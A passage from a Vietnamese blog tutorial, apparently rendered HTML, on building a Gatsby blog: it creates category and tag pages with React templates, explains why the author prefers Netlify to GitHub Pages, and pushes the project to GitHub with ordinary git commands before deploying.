class="token punctuation">,</span> <span class="token literal-property property">context</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token comment">// Data passed to context is available in page queries</span> <span class="token comment">// as GraphQL variables.</span> category<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> tags<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">tag</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">createPage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">path</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/tag/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">slug</span><span class="token punctuation">(</span>tag<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">component</span><span class="token operator">:</span> path<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">./src/templates/tags.js</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">context</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token comment">// Data passed to context is available in page queries</span> <span class="token comment">// as GraphQL variables.</span> tag<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong phần query GraphQL mình cũng thêm phần query <em>categories</em> và <em>tags</em> để sử dụng trong phần <em>then</em>. Trong phần <em>then</em>, đầu tiên mình cũng thêm phần duyệt để tạo ra mảng các chuyên mục và thẻ với các phần tử là duy nhất bên trên.</p> <p>Phần tạo ra các trang với thẻ và chuyên mục cũng tương tự như phần tạo ra các trang với mỗi bài viết. Trong đó mình định nghĩa lại phần đường dẫn <em>path</em> tương ứng. Trang để hiển thị các chuyên mục sử dụng template tại file <em>./src/templates/categories.js</em> và trang hiển thị các thẻ sử dụng template tại file <em>./src/templates/tags.js</em>. Và mình cũng không quên truyền tham số trong phần <em>context</em> để có thể sử dụng trong các file template.</p> <p>Khi đó, các file template sẽ được triển khai như sau đây:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/templates/categories.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql<span class="token punctuation">,</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data<span class="token punctuation">,</span> pageContext <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> category <span class="token punctuation">}</span> <span class="token operator">=</span> pageContext<span class="token punctuation">;</span> <span class="token keyword">const</span> categoryEdges <span class="token operator">=</span> data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>categories<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>category<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>Layout<span class="token operator">></span> <span class="token operator">&lt;</span>h1<span class="token operator">></span>Chuyên mục <span class="token punctuation">{</span>category<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span> <span class="token punctuation">{</span>categoryEdges<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span><span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div key<span class="token operator">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span><span class="token operator">></span> <span class="token operator">&lt;</span>h3<span class="token operator">></span> <span class="token operator">&lt;</span>Link to<span class="token operator">=</span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">}</span><span class="token operator">></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>Link<span class="token operator">></span> <span class="token operator">&lt;</span>span style<span class="token operator">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#BBB</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token operator">></span>— <span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>date<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>span<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>h3<span class="token operator">></span> <span class="token operator">&lt;</span>p<span class="token operator">></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>excerpt<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>p<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>Layout<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { allMarkdownRemark( sort: { order: DESC, fields: [frontmatter___date] } limit: 1000 ) { edges { node { frontmatter { title date(formatString: "DD/MM/YYYY") categories } excerpt fields { slug } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/template/tags.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql<span class="token punctuation">,</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data<span class="token punctuation">,</span> pageContext <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> tag <span class="token punctuation">}</span> <span class="token operator">=</span> pageContext<span class="token punctuation">;</span> <span class="token keyword">const</span> tagEdges <span class="token operator">=</span> data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>tags<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>tag<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>Layout<span class="token operator">></span> <span class="token operator">&lt;</span>h1<span class="token operator">></span>Thẻ <span class="token punctuation">{</span>tag<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span> <span class="token punctuation">{</span>tagEdges<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span><span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div key<span class="token operator">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span><span class="token operator">></span> <span class="token operator">&lt;</span>h3<span class="token operator">></span> <span class="token operator">&lt;</span>Link to<span class="token operator">=</span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">}</span><span class="token operator">></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>Link<span class="token operator">></span> <span class="token operator">&lt;</span>span style<span class="token operator">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#BBB</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token operator">></span>— <span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>date<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>span<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>h3<span class="token operator">></span> <span class="token operator">&lt;</span>p<span class="token operator">></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>excerpt<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>p<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>Layout<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { allMarkdownRemark( sort: { order: DESC, fields: [frontmatter___date] } limit: 1000 ) { edges { node { frontmatter { title date(formatString: "DD/MM/YYYY") tags } excerpt fields { slug } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Thực ra, nội dung của 2 file này gần giống như <em>/src/pages/index.js</em>, chỉ khác ở chỗ là mình không sử dụng tham số được truyền từ <em>/gatsby-node.js</em> vào phần query GraphQL như phần <em>$slug</em> ở phía trên. Lần này mình sử dụng nó trong phần React Component.</p> <p>Giá trị của các tham số <em>category</em> và <em>tag</em> được lấy từ đối tượng <em>pageContext</em>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token punctuation">{</span> category <span class="token punctuation">}</span> <span class="token operator">=</span> pageContext<span class="token punctuation">;</span> <span class="token keyword">const</span> categoryEdges <span class="token operator">=</span> data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>categories<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>category<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> tag <span class="token punctuation">}</span> <span class="token operator">=</span> pageContext<span class="token punctuation">;</span> <span class="token keyword">const</span> tagEdges <span class="token operator">=</span> data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>tags<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>tag<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đã có được giá trị <em>category</em> hay <em>tag</em> hiện tại rồi, thì mình chỉ cần sử dụng phương thức <a href="/javascript-foreach-la-cai-quai-gi/">filter</a> để lọc lấy những bài viết chứa <em>category</em> và những bài viết chứa <em>tag</em> hiện tại. Vì mục đích của mình là phân loại các bài viết theo chuyên mục và thẻ mà.</p> <p>Bây giờ, bạn lưu lại và restart server thì sẽ thấy mọi thứ hoạt động khá ổn định và đúng như mong đợi rồi. Công việc tiếp theo sẽ là deploy trang blog lên Netlify nữa là xong.</p> <h2 id="deploy-trang-blog-lên-netlify" style="position:relative;"><a href="#deploy-trang-blog-l%C3%AAn-netlify" aria-label="deploy trang blog lên netlify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deploy trang blog lên Netlify</h2> <p>Trước khi đi vào phần chính mình muốn trả lời câu hỏi: <em>tại sao mình lựa chọn Netlify mà không phải Github Pages hay một số nền tảng khác?</em></p> <p>Theo như tài liệu, Gatsby hỗ trợ deploy sản phẩm lên: <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#netlify">Netlify</a>, <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#amazon-s3-and-cloudfront">S3/Cloudfront</a>, <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#github-pages">GitHub Pages</a>, <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#gitlab-pages">GitLab Pages</a>, <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#heroku">Heroku</a>, <a href="https://v1.gatsbyjs.org/docs/deploy-gatsby/#now">Now</a>.</p> <p>Tuy nhiên, sau khi đọc qua thì mình thấy chỉ có Netlify và Github Pages là đơn giản nhất. Trong đó, Github Pages thì mình đã sử dụng khá nhiều nên rất quen thuộc.</p> <h3 id="nhược-điểm-khi-deploy-gatsby-lên-github-pages" style="position:relative;"><a href="#nh%C6%B0%E1%BB%A3c-%C4%91i%E1%BB%83m-khi-deploy-gatsby-l%C3%AAn-github-pages" aria-label="nhược điểm khi deploy gatsby lên github pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhược điểm khi deploy Gatsby lên Github Pages</h3> <p>Nhưng bạn biết đấy, với mỗi tài khoản Github thì mình chỉ có thể tạo ra một trang chính thôi. Ví dụ: tài khoản của mình là <em>username</em>. Khi đó, trang chính của mình sẽ là <strong><em>username.github.io</em></strong>.</p> <p>Bây giờ, nếu mình deploy một project <em>gatsby-tutorial</em> lên thì địa chỉ trang web tương ứng với nó sẽ là <code>username.github.io/gatsby-tutorial/</code>. Tuy nhiên, nếu mình muốn custom domain thành <em>gatsby-tutorial.phamvanlam.com</em> (vì <a href="https://phamvanlam.com">phamvanlam.com</a> là tên miền của mình), thì lại không được.</p> <p>Không lẽ mình phải tạo mới một tài khoản Github với tên <em>gatsby-tutorial</em>. Khi đó, địa chỉ trang blog là <em>gatsby-tutorial.github.io</em>. Lúc này, mình có thể custom domain được. Nhưng làm như vậy thì quá mất công.</p> <h3 id="netlify-có-ưu-điểm-gì-nổi-bật" style="position:relative;"><a href="#netlify-c%C3%B3-%C6%B0u-%C4%91i%E1%BB%83m-g%C3%AC-n%E1%BB%95i-b%E1%BA%ADt" aria-label="netlify có ưu điểm gì nổi bật permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Netlify có ưu điểm gì nổi bật?</h3> <p>Đó là lý do mình chuyển sang sử dụng Netlify. Khi deploy lên Netlify thì tên miền của blog dự định sẽ là <strong><em>gatsby-tutorial.netlify.com</em></strong> (nếu như tên miền này còn tồn tại). Nghĩa là mình có thể custom domain được.</p> <p>Không những thế, Netlify còn hỗ trợ cài đặt SSL miễn phí, tốc độ cũng khá nhanh, ổn định và mỗi khi bạn commit code lên Github thì Netlify sẽ tự động build lại trang blog cho bạn. Như vậy thì còn gì bằng phải không.</p> <h3 id="submit-project-lên-github" style="position:relative;"><a href="#submit-project-l%C3%AAn-github" aria-label="submit project lên github permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Submit project lên Github</h3> <p>Trước tiên, mình sẽ tạo mới một respository trên Github với tên là <em>gatsby-tutorial</em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 81.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwUlEQVQoz41TW24UMRCcC3MA+OUfjsEJOAYfQUKJEIk0m92d13pm/Op2u9se5JmwC2QTpVRutW2VWlaVq2maft0/tG3XNO3hcKzr3e5xb6wTFqJ4BjMvz1Axs/ceAEsBBECiGEIgIly3AREAQqArYhHJOf99dB7433m+YNlYtU2zq2vnQWtrnWfm4XTq+uGkxsiccpaUSK6MLZOPh+Pd7V3TD4+HZt+0szHTrAc1qnG2zhvrrPOTmRERAgRCDz6l9CTGgLPW1ljny9gYIxGFgFhWeXPpAq3P9xjQgbuIjbHHph1OSk2zdWA9BIqS0h/mlaVJa5/ywiKRWUSqGNkDeERAdM5b53ATS+KVkeVM3qpIFBFJFQB2/WkcJy53vDrKRHEjsywvoyIipfpxmjZvt7qiuCXyqpg5OqO01hQoRl61MVIs8Qi0vIoqMhtjnQPr3Np4bYzWdlmWVJBfYglJoNB1XT/0/VCWUqrvh67rSyYBSmZ9qYj41DvvnccQ1nhSAh3ABDeDpOwB1azVNA/jZFH+DejzhGH/Xf/8Ye5v7QMw5pR5taG4KpcYX2X1pf767tvH9zefPtx83kO7fYDlbfgN23qgPgBhFbEAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tạo mới repository trên Github" title="Tạo mới repository trên Github" src="/static/e338e2bce85aa9e6fb9622c44773b399/7c811/github-tao-moi-repository.png" srcset="/static/e338e2bce85aa9e6fb9622c44773b399/103f2/github-tao-moi-repository.png 165w, /static/e338e2bce85aa9e6fb9622c44773b399/748ba/github-tao-moi-repository.png 330w, /static/e338e2bce85aa9e6fb9622c44773b399/7c811/github-tao-moi-repository.png 660w, /static/e338e2bce85aa9e6fb9622c44773b399/a6a70/github-tao-moi-repository.png 730w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau khi nhấn vào button <em>Create repository</em> thì bạn sẽ được dẫn đến một gợi ý:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 92.72727272727273%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAIAAAAf7rriAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqUlEQVQ4y3WRCYvkNhSE/ceThRywbEJ+WybM1d3T7bYty5cO676loO5JZgjZx4coG5dw1WuEy8xkZhK39WQ2cVd2kyo6fpwmUR2Fy8KXd1xpFqoeXtvXC3i5AID44/F6aMHLeThcwPOp6tcLeDpen47t07Fbd7PrSFWkKuwmNVi4UzsMcG17CDd2OHd/PT6DaUFUICpWwvEuVkznbSdMIsowZZRXIbVriIwjdhN2EzEQ6xGJiegRMYBNT/xAXY/NvOuOlE3Wf+buHWZLE1IIibi4+6hd9D4lF7OPJaTiwmdCSMmn8pkmxsuGfgHgGxi+DuDrOP7Rdr93/a/T/PMIf4DwJzB+AeOPcPrNB1JyyTnlf6bxPkwrm9d9RQjvy4KGnc/LdhinByYetf1TmQdlW22JMr5i/V1o6xtr3TCOAE5wXjfMlQlSe+OyC8W4Yn3FuGJctj4aH60L1gXjws3s3LUHh7dL24Fz23UAntt+QWRBGOF9RXja8IbphumykSrIviKKKatm5/2C8EYoZWKat2nZEGVCGSaUUIZLzYTiUlfBJZdaKCNUfazmVPOXXG7kXG7ie5NLSbfGUi4p5SbnrJRmjAkhhRAYE84FpTtnnDO+74yLm2SMUmqs/XxX40OA89r1AMJlGKe2G7oeXHtw7YYRzgOA134YALy9HOZlEzWIFFI7H2th47zCBW2YDmAap2VFhEtDuWBCUS4JE5RVfRdkF5gywoS6Z44p3RcfU0518n9zphxzueesBd2I98zee621rWOU1s57pZTWxhirlLLWfa+/xns3Qng4nk5vb+fz5XB6O7fX18Px9HY+nS/Pzy/ttRNSciGklDtjzvkPswthRXX7PsT/X0/OMab7xBjv63w3hxi1sdraEOM9efqXWxe3mOWDTx/8DTa1NRqYAhRiAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Commit project lên Github" title="Commit project lên Github" src="/static/c680c06254edbe18c657e81d90169cf0/7c811/github-commit-project.png" srcset="/static/c680c06254edbe18c657e81d90169cf0/103f2/github-commit-project.png 165w, /static/c680c06254edbe18c657e81d90169cf0/748ba/github-commit-project.png 330w, /static/c680c06254edbe18c657e81d90169cf0/7c811/github-commit-project.png 660w, /static/c680c06254edbe18c657e81d90169cf0/3be76/github-commit-project.png 704w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đối với trường hợp này, mình sẽ lựa chọn cách thứ 2 (bôi vàng ở trên). Mình sẽ làm theo hướng dẫn để upload code lên github nhé. Tuy nhiên, vì project của mình đã có code rồi nên mình sẽ sửa lại một chút, như sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">"# gatsby-tutorial"</span> <span class="token operator">>></span> README.md $ <span class="token function">git</span> init $ <span class="token function">git</span> <span class="token function">add</span> <span class="token builtin class-name">.</span> $ <span class="token function">git</span> commit -m <span class="token string">"first commit"</span> $ <span class="token function">git</span> remote <span class="token function">add</span> origin https://github.com/completejavascript/gatsby-tutorial.git $ <span class="token function">git</span> push -u origin master</code></pre></div> <p>Sau khi việc upload code lên Github thành công. Mình bắt đầu deploy nó lên Netlify.</p> <h3 id="deploy-lên-netlify" style="position:relative;"><a href="#deploy-l%C3%AAn-netlify" aria-label="deploy lên netlify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deploy lên Netlify</h3> <h4 id="tạo-trang-netlify-mới-và-deploy" style="position:relative;"><a href="#t%E1%BA%A1o-trang-netlify-m%E1%BB%9Bi-v%C3%A0-deploy" aria-label="tạo trang netlify mới và deploy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo trang Netlify mới và deploy</h4> <p>Đầu tiên, bạn vào trang <a href="https://app.netlify.com/start">create a new site</a>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 68.48484848484848%; position: relative; bottom: 0; left: 0; background-image: 